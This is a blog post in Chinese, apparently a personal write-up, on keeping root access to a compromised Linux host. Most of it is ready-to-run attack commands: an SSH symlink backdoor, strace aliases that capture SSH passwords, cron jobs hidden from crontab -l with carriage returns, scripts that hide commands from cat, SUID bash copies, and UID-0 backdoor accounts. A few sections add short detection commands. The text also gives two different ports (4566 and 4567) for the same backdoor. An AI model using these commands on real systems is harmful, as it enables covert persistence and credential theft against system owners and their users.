linux权限维持总合

工具:CACM(前提root了)

(1)SUID shell后门,普通用户执行获得root权限
(2)支持添加ssh用户
(3)支持静默登入远程主机,绕过ssh登入日志记录
(4)支持日志清理,终端history清理
(5)支持EDR/AV检查
等等

一、ssh软链接免密登录(实验过了,没成功,现在好像不行了)

缺点:重启就失效了

【1】前提条件:

SSH软链接后门的实现原理与Linux的PAM认证相关。具体来说,PAM认证是通过软链接的文件名(如:/tmp/su,/home/su),在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)。而在sshd服务配置满足”启用PAM认证“且”PAM配置文件中控制标志为sufficient“的前提下,只要pam_rootok模块检测uid为0(root)就会自动放行认证(我们平时以root权限su其他用户时不用输密码就切换完成了,就是这样的原理)。将这两方面特点结合起来我们就能构造出其他的软链接后门

查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config|grep UsePAM
#输出为yes证明开启了

【2】创建软链接(要进入到root终端,在普通用户界面用sudo不行)

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4566

image-20260511153157708

解析:

(1)在 /tmp 目录下创建了一个名为 su 的软链接,指向了系统的 SSH 服务程序 /usr/sbin/sshd,同时把一个 SSH 服务程序伪装成 su 文件
(2)/tmp/su -oPort=4566,运行了刚才创建的那个软链接程序,并指定它监听 4567 端口

【3】攻击者随便输入密码即可登录成功

ssh root@xx.xx.xx.xx -p 4566

二、创建别名读取ssh密码

当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码:

alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh

##unalias ssh可以删除别名

当目标进行ssh连接时,他输入的密码就会被读取

1️⃣ strace

系统调用追踪工具,可以监控进程的系统调用。

2️⃣ 参数含义

参数 作用
-o /tmp/.sshpwd-$(date ...).log 把追踪结果写到 /tmp下的日志文件
-e read,write,connect 只跟踪 read/ write/ connect系统调用
-s2048 每次字符串最多显示 2048 字节(防止截断)
ssh 实际执行的命令

【1】假设目标已经输入过了ssh密码,其结果会在/tmp目录下生成

image-20260511181045379

【2】查看内容

more /tmp/.sshpwd-11May051778493853.log

屏幕截图 2026-05-11 180612

三、strace监听ssh来源流量

利用strace来监听登陆本地的sshd流量

ps -ef | grep sshd    //父进程PID
#执行监听命令,-p指向上面获取的pid
strace -f -p 4241 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048

当目标输入ssh连接后,会生成/tmp/.ssh.log,查看密码即可

grep "read(6" /tmp/.ssh.log | tail -n 11

img

检测:查看shell的配置文件或者 alias 命令即可发现,例如 ~/.bashrc 或 ~/.zshrc 文件查看是否有恶意的 alias

四、Cron后门

1.服务开启  service crond start
2.编辑任务计划 crontab -e -u 用户名
3.查看任务计划 crontab -l -u 用户名
4.删除任务计划 crontab -r -u 用户名

在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。

cron表达式在线生成:http://qqe2.com/cron

(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -

##注:/bin/bash --noprofile -i
启动一个交互式 shell,不加载 profile

img

这样执行会在crontab列表里出现,如果是如上执行的话,管理员执行crontab -l就能看到执行的命令内容不是特别隐蔽。

那么就有了一个相对的高级用法,下面命令执行后会显示"no crontab for root"。其实就达到了一个隐藏的效果,这时候管理员如果执行 crontab -l 就会看到显示"no crontab for root":

(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

img

实际上是他将 cron 文件写到文件中,而 crontab -l 就是列出了该文件的内容:

/var/spool/cron/crontabs/root

通常 cat 是看不到这个的,只能利用 less、vim 或者 cat -A 看到

注:

#这几个路径都可以存放cron执行脚本,对应的时间不同
/etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.hourly/ /etc/cron.monthly/

五、Cat隐藏

刚刚在cron里面提到了cat的一个缺陷,可以利用这个缺陷隐藏恶意命令在一些脚本中:这里的示例我就用 hiding-from-cats 里的例子吧。之所以单列出来,个人认为在一些大型企业的运维工具脚本中可以插入恶意代码,利用cat的缺陷还可以使管理员无法发现脚本被做手脚。

cat其实默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令。

使用python生成带有换行符的内容sh:

Copycmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'"                         # visible

with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)

使用 py 生成了一个 test.sh 脚本,同目录下只有他本文件,cat查看一下:

img

执行一下test.sh:

img

cat -A 再次查看一下:

img

其实可以看出来这样就做到了恶意命令隐藏的效果。其实之前 Cron 后门中的隐藏方法就是利用了这个。如果使用 cat -A 查看root文件的话就可以看到计划任务的真正内容了

六、SSH 公钥免密登陆

Copyssh-keygen -t rsa //生成公钥
echo id_rsa.pub >> .ssh/authorized_keys  //将id_rsa.pub内容放到目标.ssh/authorized_keys里

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景

七、SUID后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:

Copy1、SUID权限仅对二进制程序有效。 
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效  
4、在执行过程中执行者将具有该程序拥有者的权限

创建suid权限的文件:

Copy$cp /bin/bash /tmp/.woot
$chmod 4755 /tmp/.woot
$ls -al /.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot

使用一般用户运行:

$/tmp/.woot 
$/tmp/.woot -p    //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell

检测:查找具有suid权限的文件即可

Copyfind / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null

八、echo添加后门用户

前提知识

: root:x:0:0:root:/root:/bin/bash
共有7份信息:分别如下:
用户名:密码(x):用户ID:ID:描述信息(无用):HOME目录:执行终端(默认bash)
##分组:1root用户, UID为0, 权限最高
2】系统用户: 也称虚伪用户, 是系数自身拥有的用户, UID为1-999.
(bin.daemon.adm.ftp.mail等), 不具有登录Linux系统的能力.
但却是系统运行不可缺少的用户
3】普通用户: UID为1000~60000

【1】创建一个root权限的后门用户

echo "system:x:0:0::/root:/bin/bash" >> /etc/passwd
passwd system为其设置密码(不设置用不了)

##之后su system就为root了

【2】若系统不允许root用户远程登入,可以增加一个普通用户账号

echo "doll:x:1000:1000::/:/bin/bash" >> /etc/passwd  #增加普通用户账号
passwd doll  #修改wxg的密码为123

【3】用useradd添加

useradd doll -u 0 -o -g root -G root|| echo "123456" | passwd --stdin doll #创建账户doll、密码123456且为root权限

##
(1)-o:--non-unique,允许多个用户共用同一个 UID
(2)passwd --stdin doll:标准输入stdin读取密码,直接设置给 doll 用户

image-20260512235341501

但这样会被锁定,中间为!,即为用户被锁定

解决办法:passwd -d doll先删除密码
        passwd doll再交互式创建密码

注:应急响应 :查找 UID=0 的非 root 用户:

awk -F: '$3==0 && $1!="root" {print}' /etc/passwd

九、复制root shell

当我们在已经获得了root用户的权限下,要去维持这个root用户的权限时

在root用户执行:

cp /bin/bash /var/.cron 
chmod 4775 /var/.cron
ls -al /var/.cron

我们以普通用户去执行,可以重新拿到root权限:

/var/.cron -p
posted @ 2026-06-19 13:43  Doll_Marker  阅读(16)  评论(0)    收藏  举报